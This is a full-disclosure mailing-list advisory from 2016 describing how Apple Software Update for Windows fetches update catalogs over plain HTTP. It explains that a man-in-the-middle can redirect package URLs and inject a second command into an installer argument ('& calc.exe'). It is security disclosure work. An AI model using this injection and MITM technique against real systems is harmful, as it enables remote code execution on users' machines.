full-disclosure - [FD] Apple Software Update 2.1.3 (Windows) Remote Command Execution.

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Date: Fri, 29 Jan 2016 20:39:40 +0100
From: Rio Sherri <rio.sherri@...nstudent.info>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: [FD] Apple Software Update 2.1.3 (Windows) Remote Command Execution.

Apple software update is an utility to update apple software on windows
machines. The update proccess uses this kind of architecture.
First the software makes a request to
http://swcatalog.apple.com/content/catalogs/others/index-windows-1.sucatalog
This returns a xml file containing url of ".dist" files, and there were
some more interesting things

key>Packages</key>
<array>
<dict>
<key>URL</key>
<string>
http://swcdn.apple.com/content/downloads/61/34/061-8153/WgWXrHyJVmFn9KrXRg3w2XPXNFXxhnZFS6/BootCampUpdate32.msp
</string>
.
.
.
.

MSP is a file extension for a Windows Installer patch file format used by
Windows and Microsoft programs,
typically for bug fixes, security updates and hotfixes. Since the program
connects with the host in plain
text http we can use a MITM attack and modify the response and the link to
a malicous .msp and we get a remote command execution.

There are even .exe files

.
.
.
<key>URL</key>
string>
http://swcdn.apple.com/content/downloads/21/23/061-4512/BKYTZyKmtNr5wpxQCTy9f8xDSYPZ5MTGf4/BCLocUpdateEnable.exe
</string>
.
.
.

Apart from this if we take a look at the .dist file the program uses XML
files. It has options for urls,arch, etc etc
An example:
http://swcdn.apple.com/content/downloads/42/17/031-43074/ts4e9jo3pe732xq8ghsq504uye3x1dt7az/031-43074.English.dist
Has the following content

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<installer-gui-script minSpecVersion='1'>
    <platforms>
        <Windows arch="intel"/>
    </platforms>
    <choices-outline ui='SoftwareUpdate'>
        <line choice='su'/>
    </choices-outline>
    <choice id='su'>
        <pkg-ref id='auto'
onConclusion='RequireRestart'>BootCampUpdate32.msp</pkg-ref>
    </choice>
.
.
.
.
.

It has a "rtf" file content which is runned when the installation
begins.(Which can lead to exploitation of Word Bugs)
It has a html file content which is runned through IE Scripting
Engine(Which can lead to exploitation of Internet Explorer Bugs)

The other intersting thing is

<choice id='su' suDisabledGroupID='QuickTime' selected='!IsNewSoftware()'>
        <pkg-ref id='com.apple.swu.AppleApplicationSupport'
arguments='PARENTUILVL=2' version='2.3.0'
enabled='InstallAAS()'>AppleApplicationSupport.msi</pkg-ref>
        <pkg-ref id='com.apple.swu.QuickTime'
enabled='!IsNewSoftware()'>QuickTime.msi</pkg-ref>
        <pkg-ref id='com.apple.swu.QuickTimeN' enabled='IsNewSoftware()'
arguments='DESKTOP_SHORTCUTS=1'>QuickTime.msi</pkg-ref>
        <pkg-ref
id='com.apple.swu.QuickTimeInstallerAdmin'>QuickTimeInstallerAdmin.exe</pkg-ref>
    </choice>

Basically this are the commands that get executed throughout installation.
So modifying this response through a MITM, adding an argument as below
From:
<pkg-ref id='com.apple.swu.QuickTimeN' enabled='IsNewSoftware()'
arguments='DESKTOP_SHORTCUTS=1'>QuickTime.msi</pkg-ref>
To:
<pkg-ref id='com.apple.swu.QuickTimeN' enabled='IsNewSoftware()'
arguments='DESKTOP_SHORTCUTS=1 & calc.exe'>QuickTime.msi</pkg-ref>

Our command executes.

Rio Sherri
Infogen AL

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